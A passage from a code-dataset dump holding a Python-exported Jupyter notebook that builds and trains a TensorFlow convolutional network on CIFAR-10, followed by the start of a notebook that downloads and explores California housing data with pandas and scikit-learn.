"avg_line_length": 35.7987421384, "max_line_length": 118, "alphanum_fraction": 0.6948348559, "include": true, "reason": "import numpy", "num_tokens": 3019, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.16026603633858205, "lm_q1q2_score": 0.07950699170133271}}
{"text": "\n# coding: utf-8\n\n# # Image Classification\n# In this project, you'll classify images from the [CIFAR-10 dataset](https://www.cs.toronto.edu/~kriz/cifar.html).  The dataset consists of airplanes, dogs, cats, and other objects. You'll preprocess the images, then train a convolutional neural network on all the samples. The images need to be normalized and the labels need to be one-hot encoded.  You'll get to apply what you learned and build a convolutional, max pooling, dropout, and fully connected layers.  At the end, you'll get to see your neural network's predictions on the sample images.\n# ## Get the Data\n# Run the following cell to download the [CIFAR-10 dataset for python](https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz).\n\n# In[1]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\nfrom urllib.request import urlretrieve\nfrom os.path import isfile, isdir\nfrom tqdm import tqdm\nimport problem_unittests as tests\nimport tarfile\n\ncifar10_dataset_folder_path = 'cifar-10-batches-py'\n\n# Use Floyd's cifar-10 dataset if present\nfloyd_cifar10_location = '/input/cifar-10/python.tar.gz'\nif isfile(floyd_cifar10_location):\n    tar_gz_path = floyd_cifar10_location\nelse:\n    tar_gz_path = 'cifar-10-python.tar.gz'\n\nclass DLProgress(tqdm):\n    last_block = 0\n\n    def hook(self, block_num=1, block_size=1, total_size=None):\n        self.total = total_size\n        self.update((block_num - self.last_block) * block_size)\n        self.last_block = block_num\n\nif not isfile(tar_gz_path):\n    with DLProgress(unit='B', unit_scale=True, miniters=1, desc='CIFAR-10 Dataset') as pbar:\n        urlretrieve(\n            'https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz',\n            tar_gz_path,\n            pbar.hook)\n\nif not isdir(cifar10_dataset_folder_path):\n    with tarfile.open(tar_gz_path) as tar:\n        tar.extractall()\n        tar.close()\n\n\ntests.test_folder_path(cifar10_dataset_folder_path)\n\n\n# ## Explore the Data\n# The dataset is broken into batches to prevent your machine from running out of memory.  The CIFAR-10 dataset consists of 5 batches, named `data_batch_1`, `data_batch_2`, etc.. Each batch contains the labels and images that are one of the following:\n# * airplane\n# * automobile\n# * bird\n# * cat\n# * deer\n# * dog\n# * frog\n# * horse\n# * ship\n# * truck\n# \n# Understanding a dataset is part of making predictions on the data.  Play around with the code cell below by changing the `batch_id` and `sample_id`. The `batch_id` is the id for a batch (1-5). The `sample_id` is the id for a image and label pair in the batch.\n# \n# Ask yourself \"What are all possible labels?\", \"What is the range of values for the image data?\", \"Are the labels in order or random?\".  Answers to questions like these will help you preprocess the data and end up with better predictions.\n\n# In[2]:\n\n\nget_ipython().magic('matplotlib inline')\nget_ipython().magic(\"config InlineBackend.figure_format = 'retina'\")\n\nimport helper\nimport numpy as np\n\n# Explore the dataset\nbatch_id = 1\nsample_id = 5\nhelper.display_stats(cifar10_dataset_folder_path, batch_id, sample_id)\n\n\n# ## Implement Preprocess Functions\n# ### Normalize\n# In the cell below, implement the `normalize` function to take in image data, `x`, and return it as a normalized Numpy array. The values should be in the range of 0 to 1, inclusive.  The return object should be the same shape as `x`.\n\n# In[3]:\n\n\ndef normalize(x):\n    \"\"\"\n    Normalize a list of sample image data in the range of 0 to 1\n    : x: List of image data.  The image shape is (32, 32, 3)\n    : return: Numpy array of normalize data\n    \"\"\"\n    return x / 255\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_normalize(normalize)\n\n\n# ### One-hot encode\n# Just like the previous code cell, you'll be implementing a function for preprocessing.  This time, you'll implement the `one_hot_encode` function. The input, `x`, are a list of labels.  Implement the function to return the list of labels as One-Hot encoded Numpy array.  The possible values for labels are 0 to 9. The one-hot encoding function should return the same encoding for each value between each call to `one_hot_encode`.  Make sure to save the map of encodings outside the function.\n# \n# Hint: Don't reinvent the wheel.\n\n# In[5]:\n\n\ndef one_hot_encode(x):\n    \"\"\"\n    One hot encode a list of sample labels. Return a one-hot encoded vector for each label.\n    : x: List of sample Labels\n    : return: Numpy array of one-hot encoded labels\n    \"\"\"\n    return np.eye(10)[x]\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_one_hot_encode(one_hot_encode)\n\n\n# ### Randomize Data\n# As you saw from exploring the data above, the order of the samples are randomized.  It doesn't hurt to randomize it again, but you don't need to for this dataset.\n\n# ## Preprocess all the data and save it\n# Running the code cell below will preprocess all the CIFAR-10 data and save it to file. The code below also uses 10% of the training data for validation.\n\n# In[5]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\n# Preprocess Training, Validation, and Testing Data\nhelper.preprocess_and_save_data(cifar10_dataset_folder_path, normalize, one_hot_encode)\n\n\n# # Check Point\n# This is your first checkpoint.  If you ever decide to come back to this notebook or have to restart the notebook, you can start from here.  The preprocessed data has been saved to disk.\n\n# In[6]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport pickle\nimport problem_unittests as tests\nimport helper\n\n# Load the Preprocessed Validation data\nvalid_features, valid_labels = pickle.load(open('preprocess_validation.p', mode='rb'))\n\n\n# ## Build the network\n# For the neural network, you'll build each layer into a function.  Most of the code you've seen has been outside of functions. To test your code more thoroughly, we require that you put each layer in a function.  This allows us to give you better feedback and test for simple mistakes using our unittests before you submit your project.\n# \n# >**Note:** If you're finding it hard to dedicate enough time for this course each week, we've provided a small shortcut to this part of the project. In the next couple of problems, you'll have the option to use classes from the [TensorFlow Layers](https://www.tensorflow.org/api_docs/python/tf/layers) or [TensorFlow Layers (contrib)](https://www.tensorflow.org/api_guides/python/contrib.layers) packages to build each layer, except the layers you build in the \"Convolutional and Max Pooling Layer\" section.  TF Layers is similar to Keras's and TFLearn's abstraction to layers, so it's easy to pickup.\n# \n# >However, if you would like to get the most out of this course, try to solve all the problems _without_ using anything from the TF Layers packages. You **can** still use classes from other packages that happen to have the same name as ones you find in TF Layers! For example, instead of using the TF Layers version of the `conv2d` class, [tf.layers.conv2d](https://www.tensorflow.org/api_docs/python/tf/layers/conv2d), you would want to use the TF Neural Network version of `conv2d`, [tf.nn.conv2d](https://www.tensorflow.org/api_docs/python/tf/nn/conv2d). \n# \n# Let's begin!\n# \n# ### Input\n# The neural network needs to read the image data, one-hot encoded labels, and dropout keep probability. Implement the following functions\n# * Implement `neural_net_image_input`\n#  * Return a [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder)\n#  * Set the shape using `image_shape` with batch size set to `None`.\n#  * Name the TensorFlow placeholder \"x\" using the TensorFlow `name` parameter in the [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder).\n# * Implement `neural_net_label_input`\n#  * Return a [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder)\n#  * Set the shape using `n_classes` with batch size set to `None`.\n#  * Name the TensorFlow placeholder \"y\" using the TensorFlow `name` parameter in the [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder).\n# * Implement `neural_net_keep_prob_input`\n#  * Return a [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder) for dropout keep probability.\n#  * Name the TensorFlow placeholder \"keep_prob\" using the TensorFlow `name` parameter in the [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder).\n# \n# These names will be used at the end of the project to load your saved model.\n# \n# Note: `None` for shapes in TensorFlow allow for a dynamic size.\n\n# In[7]:\n\n\nimport tensorflow as tf\n\ndef neural_net_image_input(image_shape):\n    \"\"\"\n    Return a Tensor for a bach of image input\n    : image_shape: Shape of the images\n    : return: Tensor for image input.\n    \"\"\"\n    image = tf.placeholder(tf.float32 , shape=[None , *image_shape], name='x')\n    return image\n\n\ndef neural_net_label_input(n_classes):\n    \"\"\"\n    Return a Tensor for a batch of label input\n    : n_classes: Number of classes\n    : return: Tensor for label input.\n    \"\"\"\n    labels = tf.placeholder(tf.float32, shape=(None, n_classes), name='y')\n    return labels\n\n\ndef neural_net_keep_prob_input():\n    \"\"\"\n    Return a Tensor for keep probability\n    : return: Tensor for keep probability.\n    \"\"\"\n    ans = tf.placeholder(tf.float32, name='keep_prob')\n    return ans\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntf.reset_default_graph()\ntests.test_nn_image_inputs(neural_net_image_input)\ntests.test_nn_label_inputs(neural_net_label_input)\ntests.test_nn_keep_prob_inputs(neural_net_keep_prob_input)\n\n\n# ### Convolution and Max Pooling Layer\n# Convolution layers have a lot of success with images. For this code cell, you should implement the function `conv2d_maxpool` to apply convolution then max pooling:\n# * Create the weight and bias using `conv_ksize`, `conv_num_outputs` and the shape of `x_tensor`.\n# * Apply a convolution to `x_tensor` using weight and `conv_strides`.\n#  * We recommend you use same padding, but you're welcome to use any padding.\n# * Add bias\n# * Add a nonlinear activation to the convolution.\n# * Apply Max Pooling using `pool_ksize` and `pool_strides`.\n#  * We recommend you use same padding, but you're welcome to use any padding.\n# \n# **Note:** You **can't** use [TensorFlow Layers](https://www.tensorflow.org/api_docs/python/tf/layers) or [TensorFlow Layers (contrib)](https://www.tensorflow.org/api_guides/python/contrib.layers) for **this** layer, but you can still use TensorFlow's [Neural Network](https://www.tensorflow.org/api_docs/python/tf/nn) package. You may still use the shortcut option for all the **other** layers.\n\n# In[8]:\n\n\ndef conv2d_maxpool(x_tensor, conv_num_outputs, conv_ksize, conv_strides, pool_ksize, pool_strides):\n    \"\"\"\n    Apply convolution then max pooling to x_tensor\n    :param x_tensor: TensorFlow Tensor\n    :param conv_num_outputs: Number of outputs for the convolutional layer\n    :param conv_ksize: kernal size 2-D Tuple for the convolutional layer\n    :param conv_strides: Stride 2-D Tuple for convolution\n    :param pool_ksize: kernal size 2-D Tuple for pool\n    :param pool_strides: Stride 2-D Tuple for pool\n    : return: A tensor that represents convolution and max pooling of x_tensor\n    \"\"\"\n    \n    _, input_width, input_height, input_depth = x_tensor.get_shape().as_list()\n\n    weights = tf.Variable(tf.truncated_normal([*conv_ksize, input_depth, conv_num_outputs], mean=0.0, stddev=0.05, dtype=tf.float32))\n    biases = tf.Variable(tf.zeros(conv_num_outputs), dtype=tf.float32)\n\n    conv = tf.nn.conv2d(input=x_tensor, filter=weights, strides=[1, *conv_strides, 1], padding='SAME')\n    conv = tf.nn.bias_add(conv, biases)\n    conv = tf.nn.max_pool(conv, ksize=[1, *pool_ksize, 1], strides=[1, *pool_strides, 1], padding='SAME')\n    conv = tf.nn.elu(conv)\n    \n    return conv\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_con_pool(conv2d_maxpool)\n\n\n# ### Flatten Layer\n# Implement the `flatten` function to change the dimension of `x_tensor` from a 4-D tensor to a 2-D tensor.  The output should be the shape (*Batch Size*, *Flattened Image Size*). Shortcut option: you can use classes from the [TensorFlow Layers](https://www.tensorflow.org/api_docs/python/tf/layers) or [TensorFlow Layers (contrib)](https://www.tensorflow.org/api_guides/python/contrib.layers) packages for this layer. For more of a challenge, only use other TensorFlow packages.\n\n# In[9]:\n\n\ndef flatten(x_tensor):\n    \"\"\"\n    Flatten x_tensor to (Batch Size, Flattened Image Size)\n    : x_tensor: A tensor of size (Batch Size, ...), where ... are the image dimensions.\n    : return: A tensor of size (Batch Size, Flattened Image Size).\n    \"\"\"\n#     return tf.contrib.layers.flatten(x_tensor)\n    shapes = x_tensor.get_shape().as_list()\n    batch_size = shapes[0]\n    if batch_size is None:\n        batch_size = -1\n    size = 1\n    for i in shapes[1:]:\n        size *= i\n    return tf.reshape(x_tensor, [batch_size, size])\n\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_flatten(flatten)\n\n\n# ### Fully-Connected Layer\n# Implement the `fully_conn` function to apply a fully connected layer to `x_tensor` with the shape (*Batch Size*, *num_outputs*). Shortcut option: you can use classes from the [TensorFlow Layers](https://www.tensorflow.org/api_docs/python/tf/layers) or [TensorFlow Layers (contrib)](https://www.tensorflow.org/api_guides/python/contrib.layers) packages for this layer. For more of a challenge, only use other TensorFlow packages.\n\n# In[10]:\n\n\ndef fully_conn(x_tensor, num_outputs):\n    \"\"\"\n    Apply a fully connected layer to x_tensor using weight and bias\n    : x_tensor: A 2-D tensor where the first dimension is batch size.\n    : num_outputs: The number of output that the new tensor should be.\n    : return: A 2-D tensor where the second dimension is num_outputs.\n    \"\"\"\n#     return tf.contrib.layers.fully_connected(inputs = x_tensor, num_outputs=num_outputs)\n\n    size = x_tensor.get_shape().as_list()[1]\n    weights = tf.Variable(tf.truncated_normal([size, num_outputs], mean=0, stddev=0.1))\n    bias = tf.Variable(tf.zeros(num_outputs))\n\n    layer = tf.matmul(x_tensor, weights)\n    layer = tf.nn.bias_add(layer, bias)\n    \n    layer = tf.nn.elu(layer)\n    \n    return layer\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_fully_conn(fully_conn)\n\n\n# ### Output Layer\n# Implement the `output` function to apply a fully connected layer to `x_tensor` with the shape (*Batch Size*, *num_outputs*). Shortcut option: you can use classes from the [TensorFlow Layers](https://www.tensorflow.org/api_docs/python/tf/layers) or [TensorFlow Layers (contrib)](https://www.tensorflow.org/api_guides/python/contrib.layers) packages for this layer. For more of a challenge, only use other TensorFlow packages.\n# \n# **Note:** Activation, softmax, or cross entropy should **not** be applied to this.\n\n# In[11]:\n\n\ndef output(x_tensor, num_outputs):\n    \"\"\"\n    Apply a output layer to x_tensor using weight and bias\n    : x_tensor: A 2-D tensor where the first dimension is batch size.\n    : num_outputs: The number of output that the new tensor should be.\n    : return: A 2-D tensor where the second dimension is num_outputs.\n    \"\"\"\n#     return tf.contrib.layers.fully_connected(inputs=x_tensor, num_outputs=num_outputs, activation_fn=None)\n    size = x_tensor.get_shape().as_list()[1]\n    weights = tf.Variable(tf.truncated_normal([size, num_outputs], mean=0, stddev=0.1))\n    bias = tf.Variable(tf.zeros(num_outputs))\n\n    layer = tf.matmul(x_tensor, weights)\n    layer = tf.nn.bias_add(layer, bias)\n    \n    return layer\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_output(output)\n\n\n# ### Create Convolutional Model\n# Implement the function `conv_net` to create a convolutional neural network model. The function takes in a batch of images, `x`, and outputs logits.  Use the layers you created above to create this model:\n# \n# * Apply 1, 2, or 3 Convolution and Max Pool layers\n# * Apply a Flatten Layer\n# * Apply 1, 2, or 3 Fully Connected Layers\n# * Apply an Output Layer\n# * Return the output\n# * Apply [TensorFlow's Dropout](https://www.tensorflow.org/api_docs/python/tf/nn/dropout) to one or more layers in the model using `keep_prob`. \n\n# In[12]:\n\n\ndef conv_net(x, keep_prob):\n    \"\"\"\n    Create a convolutional neural network model\n    : x: Placeholder tensor that holds image data.\n    : keep_prob: Placeholder tensor that hold dropout keep probability.\n    : return: Tensor that represents logits\n    \"\"\"\n    x = conv2d_maxpool(x, 32, (3, 3), (1, 1), (2, 2), (2, 2))\n    x = conv2d_maxpool(x, 64, (3, 3), (1, 1), (2, 2), (2, 2))\n    x = tf.nn.dropout(x, keep_prob)\n    x = conv2d_maxpool(x, 128, (3, 3), (1, 1), (2, 2), (2, 2))\n    x = conv2d_maxpool(x, 256, (3, 3), (1, 1), (2, 2), (2, 2))\n    \n    x = flatten(x)\n    \n    x = fully_conn(x, 1024)\n    x = tf.nn.dropout(x, keep_prob)\n    x = fully_conn(x, 512)\n    x = tf.nn.dropout(x, keep_prob)\n    out = output(x, 10)\n    \n    return out\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\n\n##############################\n## Build the Neural Network ##\n##############################\n\n# Remove previous weights, bias, inputs, etc..\ntf.reset_default_graph()\n\n# Inputs\nx = neural_net_image_input((32, 32, 3))\ny = neural_net_label_input(10)\nkeep_prob = neural_net_keep_prob_input()\n\n# Model\nlogits = conv_net(x, keep_prob)\n\n# Name logits Tensor, so that is can be loaded from disk after training\nlogits = tf.identity(logits, name='logits')\n\n# Loss and Optimizer\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=y))\noptimizer = tf.train.AdamOptimizer().minimize(cost)\n\n# Accuracy\ncorrect_pred = tf.equal(tf.argmax(logits, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32), name='accuracy')\n\ntests.test_conv_net(conv_net)\n\n\n# ## Train the Neural Network\n# ### Single Optimization\n# Implement the function `train_neural_network` to do a single optimization.  The optimization should use `optimizer` to optimize in `session` with a `feed_dict` of the following:\n# * `x` for image input\n# * `y` for labels\n# * `keep_prob` for keep probability for dropout\n# \n# This function will be called for each batch, so `tf.global_variables_initializer()` has already been called.\n# \n# Note: Nothing needs to be returned. This function is only optimizing the neural network.\n\n# In[13]:\n\n\ndef train_neural_network(session, optimizer, keep_probability, feature_batch, label_batch):\n    \"\"\"\n    Optimize the session on a batch of images and labels\n    : session: Current TensorFlow session\n    : optimizer: TensorFlow optimizer function\n    : keep_probability: keep probability\n    : feature_batch: Batch of Numpy image data\n    : label_batch: Batch of Numpy label data\n    \"\"\"\n    session.run(optimizer, feed_dict={x: feature_batch, y: label_batch, keep_prob: keep_probability})\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_train_nn(train_neural_network)\n\n\n# ### Show Stats\n# Implement the function `print_stats` to print loss and validation accuracy.  Use the global variables `valid_features` and `valid_labels` to calculate validation accuracy.  Use a keep probability of `1.0` to calculate the loss and validation accuracy.\n\n# In[14]:\n\n\ndef print_stats(session, feature_batch, label_batch, cost, accuracy):\n    \"\"\"\n    Print information about loss and validation accuracy\n    : session: Current TensorFlow session\n    : feature_batch: Batch of Numpy image data\n    : label_batch: Batch of Numpy label data\n    : cost: TensorFlow cost function\n    : accuracy: TensorFlow accuracy function\n    \"\"\"\n    loss = session.run(cost, feed_dict={x: feature_batch, y: label_batch, keep_prob: 1.})\n    valid_acc = session.run(accuracy, feed_dict={x: valid_features, y: valid_labels, keep_prob:1.})\n    print('Loss: {:>10.4f} Validation Accuracy: {:.6f}'.format(loss, valid_acc))\n\n\n# ### Hyperparameters\n# Tune the following parameters:\n# * Set `epochs` to the number of iterations until the network stops learning or start overfitting\n# * Set `batch_size` to the highest number that your machine has memory for.  Most people set them to common sizes of memory:\n#  * 64\n#  * 128\n#  * 256\n#  * ...\n# * Set `keep_probability` to the probability of keeping a node using dropout\n\n# In[15]:\n\n\n# TODO: Tune Parameters\nepochs = 20\nbatch_size = 128\nkeep_probability = 0.5\n\n\n# ### Train on a Single CIFAR-10 Batch\n# Instead of training the neural network on all the CIFAR-10 batches of data, let's use a single batch. This should save time while you iterate on the model to get a better accuracy.  Once the final validation accuracy is 50% or greater, run the model on all the data in the next section.\n\n# In[16]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nprint('Checking the Training on a Single Batch...')\nwith tf.Session() as sess:\n    # Initializing the variables\n    sess.run(tf.global_variables_initializer())\n    \n    # Training cycle\n    for epoch in range(epochs):\n        batch_i = 1\n        for batch_features, batch_labels in helper.load_preprocess_training_batch(batch_i, batch_size):\n            train_neural_network(sess, optimizer, keep_probability, batch_features, batch_labels)\n        print('Epoch {:>2}, CIFAR-10 Batch {}:  '.format(epoch + 1, batch_i), end='')\n        print_stats(sess, batch_features, batch_labels, cost, accuracy)\n\n\n# ### Fully Train the Model\n# Now that you got a good accuracy with a single CIFAR-10 batch, try it with all five batches.\n\n# In[17]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nsave_model_path = './image_classification'\n\nprint('Training...')\nwith tf.Session() as sess:\n    # Initializing the variables\n    sess.run(tf.global_variables_initializer())\n    \n    # Training cycle\n    for epoch in range(epochs):\n        # Loop over all batches\n        n_batches = 5\n        for batch_i in range(1, n_batches + 1):\n            for batch_features, batch_labels in helper.load_preprocess_training_batch(batch_i, batch_size):\n                train_neural_network(sess, optimizer, keep_probability, batch_features, batch_labels)\n            print('Epoch {:>2}, CIFAR-10 Batch {}:  '.format(epoch + 1, batch_i), end='')\n            print_stats(sess, batch_features, batch_labels, cost, accuracy)\n            \n    # Save Model\n    saver = tf.train.Saver()\n    save_path = saver.save(sess, save_model_path)\n\n\n# # Checkpoint\n# The model has been saved to disk.\n# ## Test Model\n# Test your model against the test dataset.  This will be your final accuracy. You should have an accuracy greater than 50%. If you don't, keep tweaking the model architecture and parameters.\n\n# In[18]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nget_ipython().magic('matplotlib inline')\nget_ipython().magic(\"config InlineBackend.figure_format = 'retina'\")\n\nimport tensorflow as tf\nimport pickle\nimport helper\nimport random\n\n# Set batch size if not already set\ntry:\n    if batch_size:\n        pass\nexcept NameError:\n    batch_size = 64\n\nsave_model_path = './image_classification'\nn_samples = 4\ntop_n_predictions = 3\n\ndef test_model():\n    \"\"\"\n    Test the saved model against the test dataset\n    \"\"\"\n\n    test_features, test_labels = pickle.load(open('preprocess_test.p', mode='rb'))\n    loaded_graph = tf.Graph()\n\n    with tf.Session(graph=loaded_graph) as sess:\n        # Load model\n        loader = tf.train.import_meta_graph(save_model_path + '.meta')\n        loader.restore(sess, save_model_path)\n\n        # Get Tensors from loaded model\n        loaded_x = loaded_graph.get_tensor_by_name('x:0')\n        loaded_y = loaded_graph.get_tensor_by_name('y:0')\n        loaded_keep_prob = loaded_graph.get_tensor_by_name('keep_prob:0')\n        loaded_logits = loaded_graph.get_tensor_by_name('logits:0')\n        loaded_acc = loaded_graph.get_tensor_by_name('accuracy:0')\n        \n        # Get accuracy in batches for memory limitations\n        test_batch_acc_total = 0\n        test_batch_count = 0\n        \n        for train_feature_batch, train_label_batch in helper.batch_features_labels(test_features, test_labels, batch_size):\n            test_batch_acc_total += sess.run(\n                loaded_acc,\n                feed_dict={loaded_x: train_feature_batch, loaded_y: train_label_batch, loaded_keep_prob: 1.0})\n            test_batch_count += 1\n\n        print('Testing Accuracy: {}\\n'.format(test_batch_acc_total/test_batch_count))\n\n        # Print Random Samples\n        random_test_features, random_test_labels = tuple(zip(*random.sample(list(zip(test_features, test_labels)), n_samples)))\n        random_test_predictions = sess.run(\n            tf.nn.top_k(tf.nn.softmax(loaded_logits), top_n_predictions),\n            feed_dict={loaded_x: random_test_features, loaded_y: random_test_labels, loaded_keep_prob: 1.0})\n        helper.display_image_predictions(random_test_features, random_test_labels, random_test_predictions)\n\n\ntest_model()\n\n\n# ## Why 50-70% Accuracy?\n# You might be wondering why you can't get an accuracy any higher. First things first, 50% isn't bad for a simple CNN.  Pure guessing would get you 10% accuracy. However, you might notice people are getting scores [well above 70%](http://rodrigob.github.io/are_we_there_yet/build/classification_datasets_results.html#43494641522d3130).  That's because we haven't taught you all there is to know about neural networks. We still need to cover a few more techniques.\n# ## Submitting This Project\n# When submitting this project, make sure to run all the cells before saving the notebook.  Save the notebook file as \"dlnd_image_classification.ipynb\" and save it as a HTML file under \"File\" -> \"Download as\".  Include the \"helper.py\" and \"problem_unittests.py\" files in your submission.\n", "meta": {"hexsha": "d21ee71a677799a53f62630b7c5bf95cfcfac169", "size": 25842, "ext": "py", "lang": "Python", "max_stars_repo_path": "image_classification.py", "max_stars_repo_name": "ZhangShiqiu1993/CNN-image-classification", "max_stars_repo_head_hexsha": "6811d5d8b8dd5d559e3b5c658a0a58c651d42dfb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2017-08-31T06:40:54.000Z", "max_stars_repo_stars_event_max_datetime": "2017-08-31T06:40:54.000Z", "max_issues_repo_path": "image_classification.py", "max_issues_repo_name": "ZhangShiqiu1993/CNN-image-classification", "max_issues_repo_head_hexsha": "6811d5d8b8dd5d559e3b5c658a0a58c651d42dfb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "image_classification.py", "max_forks_repo_name": "ZhangShiqiu1993/CNN-image-classification", "max_forks_repo_head_hexsha": "6811d5d8b8dd5d559e3b5c658a0a58c651d42dfb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.0651162791, "max_line_length": 603, "alphanum_fraction": 0.7216933674, "include": true, "reason": "import numpy", "num_tokens": 6391, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.1602660323277607, "lm_q1q2_score": 0.079506989711589}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# Here is the function to fetch the data from the github repository. It is useful in particular if \n# data changes regularly, as it allows you to write a small script that you can run whenever you need \n# to fetch the latest data\nimport os\nimport tarfile\nfrom six.moves import urllib\n\n\n# In[2]:\n\n\n# DOWNLOAD_ROOT is the which contains the .tgz file of data (write it as it is)\nDOWNLOAD_ROOT = \"https://raw.githubusercontent.com/ageron/handson-ml/master/datasets/housing/\" \n# HOUSING_PATH is the path where .tgz file will be downloaded in your system (it can be changed)\nHOUSING_PATH = \"/home/cipher/aston/datum/O'reilly_handson_ml/chapter_2\"\n# HOUSING_URL is the download path of the .tgz file (write it as it is)\nHOUSING_URL = DOWNLOAD_ROOT + \"housing.tgz\"\n\n\n# In[3]:\n\n\ndef fetch_housing_data(housing_url=HOUSING_URL, housing_path=HOUSING_PATH):\n    if not os.path.isdir(housing_path):\n        os.makedirs(housing_path)\n    tgz_path = os.path.join(housing_path, \"housing.tgz\")\n    urllib.request.urlretrieve(housing_url, tgz_path)\n    housing_tgz = tarfile.open(tgz_path)\n    housing_tgz.extractall(path=housing_path)\n    housing_tgz.close()\n\n\n# In[4]:\n\n\nfetch_housing_data(HOUSING_URL, HOUSING_PATH)\n\n\n# In[5]:\n\n\n# Load the data using pandas\nimport pandas as pd\n\n\n# In[6]:\n\n\ndef load_housing_data(housing_path=HOUSING_PATH):\n    csv_path = os.path.join(housing_path, \"housing.csv\")\n    return pd.read_csv(csv_path)\n\n\n# In[7]:\n\n\nhousing = load_housing_data()\nhousing.head()\n\n\n# In[8]:\n\n\n# info() method is useful to get a quick description of data\nhousing.info()\n\n# Here we can clearly see there are 20640 instances in the dataset, of which total_bedrooms attribute has\n# only 20,433 instances meaning 207 instances are missing this feature. Also ocean_proximity attribute type is \n# object & when you look at the top five rows, you probably noticed that the values in ocean_proximity column \n# were repetitive which means that it is a categorical attribute.\n\n\n# In[9]:\n\n\n# Now to find out what categories exist you can use\nhousing[\"ocean_proximity\"].value_counts()\n\n\n# In[10]:\n\n\n# Another method describe() shows a summary of the numerical attributes\nhousing.describe()\n\n\n# In[11]:\n\n\n# Another way to get a feel of the type of data you are dealing with is to plot a histogram for each \n# numerical attribute\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport matplotlib.pyplot as plt\nhousing.hist(bins=50, figsize=(20,15))\nplt.show()\n\n\n# In[12]:\n\n\n# The given dataset should be split into train_set and test_set which are used to train the model and test \n# the model respectively. Scikit-Learn provides train_test_split function to do so.\nfrom sklearn.model_selection import train_test_split\ntrain_set, test_set = train_test_split(housing, test_size=0.2, random_state=42)\n\n# Here test_size ensures 20% of the dataset is picked up randomly as test_set\n# The test_set should be representative of the whole dataset, which is ensured by Scikit-Learn. This is called \n# stratified sampling.\n\n\n# In[13]:\n\n\n# median_income is a very important attribute to predict median housing prices. We need to ensure that the \n# test_set is representative of the various categories of income in whole dataset. Since median_income is a \n# continuos numerical attribute, you first need to create and income attribute.\n# Looking at the median_income histogram we see most median_income values are clustered around $20,000-$50,000,\n# but some median_income go far beyond $60,000.\nimport numpy as np\nhousing[\"income_cat\"] = np.ceil(housing[\"median_income\"]/1.5)\nhousing[\"income_cat\"].where(housing[\"income_cat\"] < 5, 5.0, inplace=True)\n\n# This creates an income category attribute by dividing the median_income by 1.5 (to limit the number of \n# income categories), and rounding up using ceil (to have discrete categories), and then merging all the \n# categories greater than 5 into category 5.\n\nhousing.head()\n\n\n# In[14]:\n\n\n# Now to do stratified sampling based on income category is to use Scikit_Learn's StratifiedShuffleSplit class.\nfrom sklearn.model_selection import StratifiedShuffleSplit\n\nsplit = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)\nfor train_index, test_index in split.split(housing, housing[\"income_cat\"]):\n    strat_train_set = housing.loc[train_index]\n    strat_test_set = housing.loc[test_index]\n\n# For more information, see Readme.md \n# To see if it worked as expected, you can start by lookig at the income category proportions in full dataset\nhousing[\"income_cat\"].value_counts()/len(housing)\n\n\n# In[15]:\n\n\n# Now to remove the income_cat attribute so the data is back to its original state:\nfor set_ in (strat_train_set, strat_test_set):\n    set_.drop(\"income_cat\", axis=1, inplace=True)\n\n\n# In[16]:\n\n\n# Our train data looks like\nstrat_train_set.head()\n\n\n# In[17]:\n\n\n# Let's get into more detail of the dataset but first make a copy of the train dataset.\nhousing = strat_train_set.copy()\nhousing.plot(kind=\"scatter\", x=\"longitude\", y=\"latitude\")\n\n# This looks like California but it is hard to see any 